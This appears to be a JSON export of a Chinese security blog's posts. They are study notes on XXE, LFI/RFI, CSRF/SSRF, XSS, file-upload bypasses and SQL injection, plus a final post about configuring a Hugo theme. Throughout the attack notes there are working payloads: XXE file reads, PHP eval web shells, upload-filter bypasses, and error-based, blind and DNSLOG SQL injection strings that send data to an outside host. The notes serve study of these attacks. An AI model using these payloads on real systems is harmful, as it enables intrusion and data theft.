\u0026lt;user\u0026gt;\u0026lt;username\u0026gt;\u0026amp;rabbit;\u0026lt;/username\u0026gt;\u0026lt;password\u0026gt;Mikasa\u0026lt;/password\u0026gt;\u0026lt;/user\u0026gt; 外部实体引用：(解决不回显，解决免杀拦截问题，外部引用Payload)\n\u0026lt;?xml version=\u0026#34;1.0\u0026#34; ?\u0026gt; \u0026lt;!DOCTYPE test [ \u0026lt;!ENTITY % file SYSTEM \u0026#34;http://127.0.0.1:8081/evil2.dtd\u0026#34;\u0026gt; %file; ]\u0026gt; \u0026lt;user\u0026gt;\u0026lt;username\u0026gt;\u0026amp;send;\u0026lt;/username\u0026gt;\u0026lt;password\u0026gt;Mikasa\u0026lt;/password\u0026gt;\u0026lt;/user\u0026gt; evil2.dtd \u0026lt;!ENTITY send SYSTEM \u0026#34;file:///d:/www.txt\u0026#34;\u0026gt; XXE防御 #XXE修复防御方案 方案1-禁用外部实体 PHP:\nlibxml_disable_entity_loader(true); JAVA:\nDocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false); Python：\nfrom lxml import etreexmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False)) 方案2-过滤用户提交的XML数据 过滤关键词：\u0026lt;!DOCTYPE和\u0026lt;!ENTITY，或者SYSTEM和PUBLIC\n","permalink":"https://widegram.com/2021/10/XXE/","summary":"XXE简介 XML文档结构包括XML声明、DTD文档类型定义（可选）、文档元素，其焦点是数据的内容，其把数据从HTML分离，是独立于软件和硬件的信息传输工具。XXE漏洞全称XML External Entity Injection，即xml外部实体注入漏洞，XXE漏洞发生在应用程序解析XML输入时，没有禁止外部实体的加载，导致可加载恶意外部文件，造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。 XML 与 HTML 的主要差异： XML 被设计为传输和存储数据，其焦点是数据的内容。 HTML 被设计用来显示数据，其焦点是数据的外观。 HTML 旨在显示信息 ，而 XML 旨在传输信息。\n漏洞利用 1.提交的数据包含XML格式如：\n\u0026lt;forgot\u0026gt;\u0026lt;username\u0026gt;admin\u0026lt;/username\u0026gt;\u0026lt;/forgot\u0026gt; 2.请求头中如： Content-Type：text/xml或Content-type:application/xml 文件读取：\n\u0026lt;?xml version=\u0026#34;1.0\u0026#34;?\u0026gt; \u0026lt;!DOCTYPE Mikasa [ \u0026lt;!ENTITY test SYSTEM \u0026#34;file:///d:/www.txt\u0026#34;\u0026gt; ]\u0026gt; \u0026lt;user\u0026gt;\u0026lt;username\u0026gt;\u0026amp;test;\u0026lt;/username\u0026gt;\u0026lt;password\u0026gt;Mikasa\u0026lt;/password\u0026gt;\u0026lt;/user\u0026gt; 内网探针：\n\u0026lt;?xml version=\u0026#34;1.0\u0026#34; encoding=\u0026#34;UTF-8\u0026#34;?\u0026gt; \u0026lt;!DOCTYPE foo [ \u0026lt;!ELEMENT foo ANY \u0026gt; \u0026lt;!ENTITY rabbit SYSTEM \u0026#34;http://192.168.0.103:8081/index.txt\u0026#34; \u0026gt; ]\u0026gt; \u0026lt;user\u0026gt;\u0026lt;username\u0026gt;\u0026amp;rabbit;\u0026lt;/username\u0026gt;\u0026lt;password\u0026gt;Mikasa\u0026lt;/password\u0026gt;\u0026lt;/user\u0026gt; 外部实体引用：(解决不回显，解决免杀拦截问题，外部引用Payload)\n\u0026lt;?xml version=\u0026#34;1.0\u0026#34; ?\u0026gt; \u0026lt;!DOCTYPE test [ \u0026lt;!ENTITY % file SYSTEM \u0026#34;http://127.0.0.1:8081/evil2.dtd\u0026#34;\u0026gt; %file; ]\u0026gt; \u0026lt;user\u0026gt;\u0026lt;username\u0026gt;\u0026amp;send;\u0026lt;/username\u0026gt;\u0026lt;password\u0026gt;Mikasa\u0026lt;/password\u0026gt;\u0026lt;/user\u0026gt; evil2.dtd \u0026lt;!ENTITY send SYSTEM \u0026#34;file:///d:/www.","title":"XXE"},{"content":"一个例子 $file = $_GET[\u0026#39;filename\u0026#39;]; include($file); //http://XXX?filename=1.jpg Local File Include 后缀限制 $file = $_GET[\u0026#39;filename\u0026#39;.\u0026#39;.php\u0026#39;]; include($file); 针对PHP低版本（5.2可行）： %00截断 \u0026amp; 长度突破 针对高版本：协议利用 前提：data协议开启，allow_url_include=1； XXX.php?filename=data://text/plain,\u0026lt;?php%20phpinfo();?\u0026gt; Remote File Include 后缀限制 RFI的后缀限制突破方法：加入GET参数（也就是\u0026quot;？\u0026ldquo;符号）。如XXX.php?filename=http://XXX.txt?即可\n协议利用 php://filter/convert.base64-encode/resource=1.txt file:///D:/phpstudy/PHPTutorial/WWW/1.txt RCE执行： php://input Post:\u003c?php system('ver')?\u003e\n\u003c?PHP fputs(fopen('s.php','w'),'\u003c?php @eval($_POST[cmd])?\u003e');?\u003e data://text/plain,\u003c?php%20phpinfo();?\u003e\n思路 流程：想办法包含文件-文件来源（能不能上传） 不能上传：包含系统自身文件渗透，包含日志文件渗透 能上传：冲冲冲 RFI结合MSF-exploit/multi/script/web_delivery\n","permalink":"https://widegram.com/2021/10/LFI-and-RFI/","summary":"一个例子 $file = $_GET[\u0026#39;filename\u0026#39;]; include($file); //http://XXX?filename=1.jpg Local File Include 后缀限制 $file = $_GET[\u0026#39;filename\u0026#39;.\u0026#39;.php\u0026#39;]; include($file); 针对PHP低版本（5.2可行）： %00截断 \u0026amp; 长度突破 针对高版本：协议利用 前提：data协议开启，allow_url_include=1； XXX.php?filename=data://text/plain,\u0026lt;?php%20phpinfo();?\u0026gt; Remote File Include 后缀限制 RFI的后缀限制突破方法：加入GET参数（也就是\u0026quot;？\u0026ldquo;符号）。如XXX.php?filename=http://XXX.txt?即可\n协议利用 php://filter/convert.base64-encode/resource=1.txt file:///D:/phpstudy/PHPTutorial/WWW/1.txt RCE执行： php://input Post:\u003c?php system('ver')?\u003e\n\u003c?PHP fputs(fopen('s.php','w'),'\u003c?php @eval($_POST[cmd])?\u003e');?\u003e data://text/plain,\u003c?php%20phpinfo();?\u003e\n思路 流程：想办法包含文件-文件来源（能不能上传） 不能上传：包含系统自身文件渗透，包含日志文件渗透 能上传：冲冲冲 RFI结合MSF-exploit/multi/script/web_delivery","title":"LFI \u0026 RFI"},{"content":"CSRF 常见套路：安装同一套CMS，通过Burp抓到添加管理员的数据包。在管理员已登录的情况下点击一个网址，通过HTML的form配合JS提交请求。\n防御 同源策略 检测来源是否同一域名（referer，仍然不安全） 加入token（或者加入验证码） 每一次请求都需要一个不同的token，如果csrf使用的是与之前同一个token，那么链接失效。 突破防御 token爆破 设计逻辑错误导致token可以重复利用 SSRF 主要产生在远程请求、代下载等场景。可以端口扫描、指纹识别、内网探针、漏洞利用等。\n端口扫描 通过请求http://127.0.0.1:8081查看端口是否开放，若开放则回显中会产生数据。 与nmap相比，首先nmap可能扫不出来，其次在内网攻击中，某台计算机可能不联外网，只能通过内网扫描。如ftp://192.168.46.133:21 就能返回内网ftp目录；file:///D:/www.txt利用file协议请求文件内容；dict://探测mysql等等。 如果不知道IP地址，也可以进行爆破。 其他几个案例 ","permalink":"https://widegram.com/2021/10/CSRF-and-SSRF/","summary":"CSRF 常见套路：安装同一套CMS，通过Burp抓到添加管理员的数据包。在管理员已登录的情况下点击一个网址，通过HTML的form配合JS提交请求。\n防御 同源策略 检测来源是否同一域名（referer，仍然不安全） 加入token（或者加入验证码） 每一次请求都需要一个不同的token，如果csrf使用的是与之前同一个token，那么链接失效。 突破防御 token爆破 设计逻辑错误导致token可以重复利用 SSRF 主要产生在远程请求、代下载等场景。可以端口扫描、指纹识别、内网探针、漏洞利用等。\n端口扫描 通过请求http://127.0.0.1:8081查看端口是否开放，若开放则回显中会产生数据。 与nmap相比，首先nmap可能扫不出来，其次在内网攻击中，某台计算机可能不联外网，只能通过内网扫描。如ftp://192.168.46.133:21 就能返回内网ftp目录；file:///D:/www.txt利用file协议请求文件内容；dict://探测mysql等等。 如果不知道IP地址，也可以进行爆破。 其他几个案例 ","title":"CSRF \u0026 SSRF"},{"content":"反射XSS 提交数据后，数据被管理员查看，可以盗取其COOKIES。（xsshs.cn） 通过BEEF控制浏览器。\nDOM型XSS 通过闭合JS实现XSS。\nXSS分类 fooying.com/the-art-of-xss-1-introduction\nmXSS 被过滤的XSS Payload，因为（低版本QQ）预览分享功能被重新激活。\n代码绕过 长度绕过 如length设置，用闭合方法，修改其length值；\n尖括号被过滤怎么办？ 改成onclick激活，避免尖括号即可。\nscript、onclick等关键字被过滤怎么办？ 大小写修改或者，xz.aliyun.com/t/2936查看不同DOM元素的利用方法\n工具 XSStrike XSS Fuzz字典\n设置绕过 HTTPOnly 登录成功页面插入XSS实现长期控制\n","permalink":"https://widegram.com/2021/10/XSS/","summary":"反射XSS 提交数据后，数据被管理员查看，可以盗取其COOKIES。（xsshs.cn） 通过BEEF控制浏览器。\nDOM型XSS 通过闭合JS实现XSS。\nXSS分类 fooying.com/the-art-of-xss-1-introduction\nmXSS 被过滤的XSS Payload，因为（低版本QQ）预览分享功能被重新激活。\n代码绕过 长度绕过 如length设置，用闭合方法，修改其length值；\n尖括号被过滤怎么办？ 改成onclick激活，避免尖括号即可。\nscript、onclick等关键字被过滤怎么办？ 大小写修改或者，xz.aliyun.com/t/2936查看不同DOM元素的利用方法\n工具 XSStrike XSS Fuzz字典\n设置绕过 HTTPOnly 登录成功页面插入XSS实现长期控制","title":"XSS"},{"content":"本地验证 JS禁用、Burp改包、本地提交 后缀黑名单验证 大小写、加空格、符号点（系统特性）、::$DATA（Windows平台） 过滤不迭代问题 例如，\u0026quot;.php. .\u0026ldquo;方法：这针对的是在过滤中，代码中去掉末尾的点，再首位去空，再进行后缀过滤点情形。\n后缀白名单验证 MIME（使用FILETYPE而不是后缀验证） 后缀白名单验证 MIME、%00、0x00截断 其中，MIME主要修改Content-Type项； %00和0x00主要影响某些版本的PHP（CVE-2015-2348，PHP 5.4.38~5.6.6）。在文件名中插入，比方说x.php%00.jpg，并且URL-Decode后（URL中不用转换），作为文件名，即可截断后缀。 ⚠️这里注意区分，GET请求对%00进行编码，POST不对%00编码。%00自动编码后将变成%25%30%30，而这不是我们需要的。 图片后门 单纯文件头验证不安全，需要配合后缀检测。\n过滤\u0026lt;?怎么办？ 使用多种php标记方法，如\n\u0026lt;script language=\u0026#34;php\u0026#34;\u0026gt; eval($_POST[\u0026#39;xd\u0026#39;]); \u0026lt;/script\u0026gt; 二次渲染 上传的图片被修改后显示出来（尺寸或格式）。例如：\ncopy shell.jpg/b + shell.php/a s.jpg 将图片与后门合并后上传，若存在二次渲染，则后门可能失效。此时，应该对比上传前后的文件，观察二次渲染后文件的哪个部分不变，再将后门写入那个部分。\n常见问题 单次过滤 php函数replace过滤\u0026quot;php\u0026rdquo;，但把文件名改成\u0026quot;.pphphp\u0026quot;就可以绕过\n条件竞争 php函数move_uploaded_file，先移动后过滤unlink。可以在删除前访问。 具体来说，可以在不断上传的过程中不断访问之，这个文件进行一个写入操作。（借助burp）\n解析安全 格式变异 过滤时只过滤了php后缀，没有过滤php3、php4、php5、phtml等php程序\n中间件解析(apache) 上传一个.htaccess，它可以更改目录下特定后缀的解析规则\n\u0026lt;FilesMatch \u0026#34;shell.jpg\u0026#34;\u0026gt; SetHandler application/x-httpd-php \u0026lt;/FilesMatch\u0026gt; CVE-2013-4547 Nginx文件名逻辑漏洞 NGINX解析问题：后缀\u0026quot;1.jpg/.php\u0026quot; 针对性思路总结 CMS类 无资料时用常规测试思路，有资料参考资料即可。\n编辑器 Ueditor 中间件 weblogic CVE-2018-2894\nCTF类 ThinkPHP 文件路径（涉及代码审计）\n","permalink":"https://widegram.com/2021/10/%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E/","summary":"本地验证 JS禁用、Burp改包、本地提交 后缀黑名单验证 大小写、加空格、符号点（系统特性）、::$DATA（Windows平台） 过滤不迭代问题 例如，\u0026quot;.php. .\u0026ldquo;方法：这针对的是在过滤中，代码中去掉末尾的点，再首位去空，再进行后缀过滤点情形。\n后缀白名单验证 MIME（使用FILETYPE而不是后缀验证） 后缀白名单验证 MIME、%00、0x00截断 其中，MIME主要修改Content-Type项； %00和0x00主要影响某些版本的PHP（CVE-2015-2348，PHP 5.4.38~5.6.6）。在文件名中插入，比方说x.php%00.jpg，并且URL-Decode后（URL中不用转换），作为文件名，即可截断后缀。 ⚠️这里注意区分，GET请求对%00进行编码，POST不对%00编码。%00自动编码后将变成%25%30%30，而这不是我们需要的。 图片后门 单纯文件头验证不安全，需要配合后缀检测。\n过滤\u0026lt;?怎么办？ 使用多种php标记方法，如\n\u0026lt;script language=\u0026#34;php\u0026#34;\u0026gt; eval($_POST[\u0026#39;xd\u0026#39;]); \u0026lt;/script\u0026gt; 二次渲染 上传的图片被修改后显示出来（尺寸或格式）。例如：\ncopy shell.jpg/b + shell.php/a s.jpg 将图片与后门合并后上传，若存在二次渲染，则后门可能失效。此时，应该对比上传前后的文件，观察二次渲染后文件的哪个部分不变，再将后门写入那个部分。\n常见问题 单次过滤 php函数replace过滤\u0026quot;php\u0026rdquo;，但把文件名改成\u0026quot;.pphphp\u0026quot;就可以绕过\n条件竞争 php函数move_uploaded_file，先移动后过滤unlink。可以在删除前访问。 具体来说，可以在不断上传的过程中不断访问之，这个文件进行一个写入操作。（借助burp）\n解析安全 格式变异 过滤时只过滤了php后缀，没有过滤php3、php4、php5、phtml等php程序\n中间件解析(apache) 上传一个.htaccess，它可以更改目录下特定后缀的解析规则\n\u0026lt;FilesMatch \u0026#34;shell.jpg\u0026#34;\u0026gt; SetHandler application/x-httpd-php \u0026lt;/FilesMatch\u0026gt; CVE-2013-4547 Nginx文件名逻辑漏洞 NGINX解析问题：后缀\u0026quot;1.jpg/.php\u0026quot; 针对性思路总结 CMS类 无资料时用常规测试思路，有资料参考资料即可。\n编辑器 Ueditor 中间件 weblogic CVE-2018-2894\nCTF类 ThinkPHP 文件路径（涉及代码审计）","title":"文件上传漏洞"},{"content":"漏洞利用 参数类型 - 符号闭合 数据库类型 - 选择不同的攻击语句和攻击思路 数据提交方式 - 数据注入的时候传输不一样，如POST、HOST等 数据SQL查询方式 - 1.无回显 2.测试点不同（增删改查等） 3.人工发现 数据加密编码方式 存在回显 - 盲注 高权限 - 换一种思路获得权限 漏洞危害 单个数据库泄漏 所有数据库泄漏 后台权限 web权限：文件操作、执行命令等 后续导致服务器权限丢失 漏洞特点 开发语言决定注入发生率 数据库类型决定注入利用过程 部分注入点的发现需要人工探针（增删改查等） 防护注入代码过滤、WAF等 ","permalink":"https://widegram.com/2021/10/sql%E6%B3%A8%E5%85%A5%E5%9F%BA%E7%A1%80%E5%85%A5%E9%97%A8-07-%E6%80%BB%E7%BB%93/","summary":"漏洞利用 参数类型 - 符号闭合 数据库类型 - 选择不同的攻击语句和攻击思路 数据提交方式 - 数据注入的时候传输不一样，如POST、HOST等 数据SQL查询方式 - 1.无回显 2.测试点不同（增删改查等） 3.人工发现 数据加密编码方式 存在回显 - 盲注 高权限 - 换一种思路获得权限 漏洞危害 单个数据库泄漏 所有数据库泄漏 后台权限 web权限：文件操作、执行命令等 后续导致服务器权限丢失 漏洞特点 开发语言决定注入发生率 数据库类型决定注入利用过程 部分注入点的发现需要人工探针（增删改查等） 防护注入代码过滤、WAF等 ","title":"SQL注入基础入门——07、总结"},{"content":"几种过滤 过滤关键词，如select、update、insert等 过滤空格 堆叠注入 数据库类型支持多条语句；\n;show databases; ;show tables; ;show columns from ``; ## 由于select被过滤，因此可以将列名改为flag再输出 ## 或者，采用如下方法： \u0026#39;;SeT @a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql; 二次注入 先写入后组合的注入（如：注册——登录——修改）； 受到攻击的sql语句：\nupdate user set passwd=\u0026#39;新密码\u0026#39; where username=\u0026#39;用户名\u0026#39; and passwd=\u0026#39;旧密码\u0026#39; 密码一般会被加密，不好入手，因此选择用户名攻击：\n## 空格被过滤 x\u0026#34;^updatexml(1,concat(0x7e,(version())),0)# DNSLOG注入 解决不回显，相比盲注更快，但适用范围不广，因为要用到load_file()函数，需要root权限，并且secure_file_priv需要为空，且需要操作系统为Windows（\\\\为unc路径）。\nping test.dbuh8a.ceye.io ping %USERNAME%.dbuh8a.ceye.io select load_file(\u0026#39;\\\\\\\\xxxx.dbuh8a.ceye.io\\\\aa\u0026#39;)); select load_file(concat(\u0026#39;\\\\\\\\\u0026#39;,(select database()),\u0026#39;.dbuh8a.ceye.io\\\\aa\u0026#39;)); 高权限注入 数据库用户分为系统用户和普通用户。前者可看所有数据库，可进行文件读写；后者不行。 ⚠️所以，某些注入点可以读写文件。\n# 判断是否高权限 python sqlmap.py -u \u0026#34;http://XXX?id=1\u0026#34; --is-dba 写入一句话后门\n\u0026lt;?php eval($_POST[\u0026#39;x\u0026#39;]); ?\u0026gt; ","permalink":"https://widegram.com/2021/10/sql%E6%B3%A8%E5%85%A5%E5%9F%BA%E7%A1%80%E5%85%A5%E9%97%A8-06-%E5%A0%86%E5%8F%A0%E3%80%81%E4%BA%8C%E6%AC%A1%E3%80%81DNSLOG%E3%80%81%E9%AB%98%E6%9D%83%E9%99%90/","summary":"几种过滤 过滤关键词，如select、update、insert等 过滤空格 堆叠注入 数据库类型支持多条语句；\n;show databases; ;show tables; ;show columns from ``; ## 由于select被过滤，因此可以将列名改为flag再输出 ## 或者，采用如下方法： \u0026#39;;SeT @a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql; 二次注入 先写入后组合的注入（如：注册——登录——修改）； 受到攻击的sql语句：\nupdate user set passwd=\u0026#39;新密码\u0026#39; where username=\u0026#39;用户名\u0026#39; and passwd=\u0026#39;旧密码\u0026#39; 密码一般会被加密，不好入手，因此选择用户名攻击：\n## 空格被过滤 x\u0026#34;^updatexml(1,concat(0x7e,(version())),0)# DNSLOG注入 解决不回显，相比盲注更快，但适用范围不广，因为要用到load_file()函数，需要root权限，并且secure_file_priv需要为空，且需要操作系统为Windows（\\\\为unc路径）。\nping test.dbuh8a.ceye.io ping %USERNAME%.dbuh8a.ceye.io select load_file(\u0026#39;\\\\\\\\xxxx.dbuh8a.ceye.io\\\\aa\u0026#39;)); select load_file(concat(\u0026#39;\\\\\\\\\u0026#39;,(select database()),\u0026#39;.dbuh8a.ceye.io\\\\aa\u0026#39;)); 高权限注入 数据库用户分为系统用户和普通用户。前者可看所有数据库，可进行文件读写；后者不行。 ⚠️所以，某些注入点可以读写文件。\n# 判断是否高权限 python sqlmap.py -u \u0026#34;http://XXX?id=1\u0026#34; --is-dba 写入一句话后门\n\u0026lt;?php eval($_POST[\u0026#39;x\u0026#39;]); ?\u0026gt; ","title":"SQL注入基础入门——06、绕过注入过滤的几种方法（堆叠、二次、DNSLOG、高权限）"},{"content":"order by select * from users order by $sth 盲注的三种类型 逻辑判断 regexp、like、ascii、left、ord、mid like \u0026#39;ro%\u0026#39; regexp \u0026#39;^user[a-z]\u0026#39; #截取字符串 mid(str,start_loc,length) substr(str,start_loc,length) left(str,length) #从左侧截取 #字符串长度 length() 延时判断 if、sleep select * from users where id=1 and if(1\u0026gt;2,2,0); select * from users where id=1 and sleep(5); select * from users where id=1 and if(1\u0026gt;2,sleep(5),sleep(10)); 报错回显 floor、updatexml、extractvalue 逻辑判断 例如：\n?id=1\u0026#39; and length(database())=8--+ ?id=1\u0026#39; and left(database(),1)\u0026gt;\u0026#39;a\u0026#39;--+ 延时判断 and if(ascii(substr(database(),1,1))=115,sleep(5),1)--+ and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(3),0)--+ 报错注入 12种报错注入\u0026#43;万能语句\n更新注入 update user set username=\u0026#39;$name\u0026#39; where id = 1 $name = \u0026#34;\u0026#39; or(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) or \u0026#39;\u0026#34; // 结果 update user set username=\u0026#39;\u0026#39; or(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) or \u0026#39;\u0026#39; where id = 1 出现结果ERROR 1062(23000): Duplicate entry '1~security~' for key 'group_key'，则得到库名为security； 若将database()改为version()，则提示ERROR 1062(23000): Duplicate entry '1~5.5.53~' for key 'group_key'。\n其他注入语句 sex=%E7%94%B7\u0026amp;phonenum=13878787788\u0026amp;add=hubeNicky\u0026#39; or (select 1 from(select count(*),concat( floor(rand(0)*2),0x7e,(database()),0x7e)x from information_schema.character_sets group by x)a) or \u0026#39;\u0026amp;email=wuhan\u0026amp;submit=submit sex=%E7%94%B7\u0026amp;phonenum=13878787788\u0026amp;add=hubeNicky\u0026#39; or updatexml(1,concat(0x7e,(version())),0) or \u0026#39;\u0026amp;email=wuhan\u0026amp;submit=submit sex=%E7%94%B7\u0026amp;phonenum=13878787788\u0026amp;add=Nicky\u0026#39; or extractvalue(1,concat(0x7e,database())) or \u0026#39;\u0026amp;email=wuhan\u0026amp;submit=submit 插入注入 username=x\u0026#39; or(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) or \u0026#39; \u0026amp;password=xiaodi\u0026amp;sex=%E7%94%B7\u0026amp;phonenum=13878787788\u0026amp;email=wuhan\u0026amp;add=hubei\u0026amp;submit=submit username=x\u0026#39; or updatexml(1,concat(0x7e,(version())),0) or \u0026#39;\u0026amp;password=xiaodi\u0026amp;sex=%E7%94%B7\u0026amp;phonenum=13878787788\u0026amp;email=wuhan\u0026amp;add=hubei\u0026amp;submit=submit username=x\u0026#39; or extractvalue(1,concat(0x7e,database())) or \u0026#39;\u0026amp;password=xiaodi\u0026amp;sex=%E7%94%B7\u0026amp;phonenum=13878787788\u0026amp;email=wuhan\u0026amp;add=hubei\u0026amp;submit=submit 删除注入 or+(select+1+from(select+count(*),concat(floor(rand(0)*2),0x7e,(database()),0x7e)x+from+information_schema.character_sets+group+by+x)a) or+updatexml+(1,concat(0x7e,database()),0) or+extractvalue(1,concat(0x7e,database())) ","permalink":"https://widegram.com/2021/10/sql%E6%B3%A8%E5%85%A5%E5%9F%BA%E7%A1%80%E5%85%A5%E9%97%A8-05%E7%9B%B2%E6%B3%A8/","summary":"order by select * from users order by $sth 盲注的三种类型 逻辑判断 regexp、like、ascii、left、ord、mid like \u0026#39;ro%\u0026#39; regexp \u0026#39;^user[a-z]\u0026#39; #截取字符串 mid(str,start_loc,length) substr(str,start_loc,length) left(str,length) #从左侧截取 #字符串长度 length() 延时判断 if、sleep select * from users where id=1 and if(1\u0026gt;2,2,0); select * from users where id=1 and sleep(5); select * from users where id=1 and if(1\u0026gt;2,sleep(5),sleep(10)); 报错回显 floor、updatexml、extractvalue 逻辑判断 例如：\n?id=1\u0026#39; and length(database())=8--+ ?id=1\u0026#39; and left(database(),1)\u0026gt;\u0026#39;a\u0026#39;--+ 延时判断 and if(ascii(substr(database(),1,1))=115,sleep(5),1)--+ and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(3),0)--+ 报错注入 12种报错注入\u0026#43;万能语句","title":"SQL注入基础入门——05、盲注"},{"content":"Sqlmap其他注入 在使用SQLMap进行POST注入时，可以使用post.txt注入，而不是使用--data参数，因为使用txt方式注入使用的是真实的数据包，而--data使用的是SQLMap自带的请求头； 在注入点处用星号标记，例如host: XXX*； 使用python sqlmap.py -r host.txt开始注入 万能密码原理(post注入) 例如对于下列sql语句：\nselect * from admin where username=\u0026#39;$user\u0026#39; and password=\u0026#39;$pass\u0026#39; ; 使$user = \u0026ldquo;admin\u0026rsquo; or \u0026lsquo;1\u0026rsquo;=\u0026lsquo;1\u0026rdquo;，得到\nselect * from admin where username=\u0026#39;admin\u0026#39; or \u0026#39;1\u0026#39;=\u0026#39;1\u0026#39; and password=\u0026#39;$pass\u0026#39; ; host注入 在HTTP头中，把order by 4（payload）作为host项传递。\nXFF注入 例如，某些网站会验证用户的IP地址来判断是否放行；在日志记录时会在数据库中记录HTTP头信息，因此可能存在注入点。如PHP正确获取客户端IP地址。\n以下三个参数可能存在注入点：\nHTTP_CLIENT_IP：存在于http请求的header HTTP_X_FORWARDED_FOR：请求转发路径，客户端IP，代理1IP，代理2IP\u0026hellip;\u0026hellip; HTTP_X_REAL_IP：这个用得比较少，暂不讨论。 这三个值都是从HTTP请求头获取的，所以并不可靠！\n根据功能区分注入类型 例如，搜索sql如下：\nselect * from zzz_user where name like \u0026#39;%$name%\u0026#39; 字符串相关的sql判断语句会包含引号等等。\n⚠️注意数字、字母、JSON类型字符串。\n","permalink":"https://widegram.com/2021/10/sql%E6%B3%A8%E5%85%A5%E5%9F%BA%E7%A1%80%E5%85%A5%E9%97%A8-04-POST-XFF-HOST-COOKIE-etc/","summary":"Sqlmap其他注入 在使用SQLMap进行POST注入时，可以使用post.txt注入，而不是使用--data参数，因为使用txt方式注入使用的是真实的数据包，而--data使用的是SQLMap自带的请求头； 在注入点处用星号标记，例如host: XXX*； 使用python sqlmap.py -r host.txt开始注入 万能密码原理(post注入) 例如对于下列sql语句：\nselect * from admin where username=\u0026#39;$user\u0026#39; and password=\u0026#39;$pass\u0026#39; ; 使$user = \u0026ldquo;admin\u0026rsquo; or \u0026lsquo;1\u0026rsquo;=\u0026lsquo;1\u0026rdquo;，得到\nselect * from admin where username=\u0026#39;admin\u0026#39; or \u0026#39;1\u0026#39;=\u0026#39;1\u0026#39; and password=\u0026#39;$pass\u0026#39; ; host注入 在HTTP头中，把order by 4（payload）作为host项传递。\nXFF注入 例如，某些网站会验证用户的IP地址来判断是否放行；在日志记录时会在数据库中记录HTTP头信息，因此可能存在注入点。如PHP正确获取客户端IP地址。\n以下三个参数可能存在注入点：\nHTTP_CLIENT_IP：存在于http请求的header HTTP_X_FORWARDED_FOR：请求转发路径，客户端IP，代理1IP，代理2IP\u0026hellip;\u0026hellip; HTTP_X_REAL_IP：这个用得比较少，暂不讨论。 这三个值都是从HTTP请求头获取的，所以并不可靠！\n根据功能区分注入类型 例如，搜索sql如下：\nselect * from zzz_user where name like \u0026#39;%$name%\u0026#39; 字符串相关的sql判断语句会包含引号等等。\n⚠️注意数字、字母、JSON类型字符串。","title":"SQL注入基础入门——04、POST/XFF/HOST/COOKIE/其他功能"},{"content":"忙了一晚上，配置Papermod主题踩了太多坑。记录一下Hugo的PaperMod主题踩坑历程（包括Safari顶栏颜色配置等）。\n一、安装过程 不要使用git add submodule安装主题，否则将无法更改主题内容。正确方法是下载zip文件解压，然后git init。 api.netlify.com始终无法访问，又不在各大pac的名单上，因此开梯子的时候要设置为全局才能上去。 从Hexo转向Hugo后，最大的感受就是编译速度快了不少，netlify的免费额度终于够用了～ 二、配置过程 设置Archive页面时，除了按照官方的做法添加archives.md文件以外，还必须在config.yml下添加如下属性：\nparams: ShowAllPagesInArchive: true 设置params.editPost属性时，在URL上必须加上/tree/master，例如：\nhttps://github.com/alvazu/hugo_standalone/tree/master/content 同时，必须设置hidemeta属性，才会显示修改按钮：\nparams: hidemeta: false hideSummary: false 配置TOC的过程，可以参考如下配置，让TOC显示但自动收起：\nparams: showtoc: true tocopen: false 将主页设置为非profile mode时，还必须在config.yml下添加如下属性，首页上的文章列表才能显示：\nparams: mainSections: - post 这是由于在下列语句中，site.Params.mainSections属性返回posts，而site.RegularPages.Type返回post（少了个“s”）：\nwhere site.RegularPages \u0026#34;Type\u0026#34; \u0026#34;in\u0026#34; site.Params.mainSections 配置RSS时，首先在config.yml下添加如下属性：\nparams: ShowFullTextinRSS: true 然后将socialIcons属性指向index.xml。\n要删除Catagories、Tags页面中的大标题，需要找到/layouts/_default/terms.html文件，将其中的\n\u0026lt;h1\u0026gt;{{ .Title }}\u0026lt;/h1\u0026gt; （也就是第五行）注释掉。\n要删除底部的Powered by Hugo \u0026amp; PaperMod字样，需要找到layouts/partials/footer.html，从第8行开始设置注释：\n\u0026lt;!-- \u0026lt;span\u0026gt; Powered by \u0026lt;a href=\u0026#34;https://gohugo.io/\u0026#34; rel=\u0026#34;noopener noreferrer\u0026#34; target=\u0026#34;_blank\u0026#34;\u0026gt;Hugo\u0026lt;/a\u0026gt; \u0026amp; \u0026lt;a href=\u0026#34;https://git.io/hugopapermod\u0026#34; rel=\u0026#34;noopener\u0026#34; target=\u0026#34;_blank\u0026#34;\u0026gt;PaperMod\u0026lt;/a\u0026gt; \u0026lt;/span\u0026gt; --\u0026gt; 三、设置Safari顶栏颜色跟随 找到layouts/partials/header.html，修改其中的JS代码为（从22行开始）：\nif (localStorage.getItem(\u0026#34;pref-theme\u0026#34;) === \u0026#34;dark\u0026#34;) { document.body.classList.add(\u0026#39;dark\u0026#39;); document.querySelector(\u0026#39;meta[name=\u0026#34;theme-color\u0026#34;]\u0026#39;).setAttribute(\u0026#34;content\u0026#34;,\u0026#34;#1d1e20\u0026#34;) } else if (localStorage.getItem(\u0026#34;pref-theme\u0026#34;) === \u0026#34;light\u0026#34;) { document.body.classList.remove(\u0026#39;dark\u0026#39;) document.querySelector(\u0026#39;meta[name=\u0026#34;theme-color\u0026#34;]\u0026#39;).setAttribute(\u0026#34;content\u0026#34;,\u0026#34;#f5f5f5\u0026#34;) } else if (window.matchMedia(\u0026#39;(prefers-color-scheme: dark)\u0026#39;).matches) { document.body.classList.add(\u0026#39;dark\u0026#39;); document.querySelector(\u0026#39;meta[name=\u0026#34;theme-color\u0026#34;]\u0026#39;).setAttribute(\u0026#34;content\u0026#34;,\u0026#34;#1d1e20\u0026#34;) } 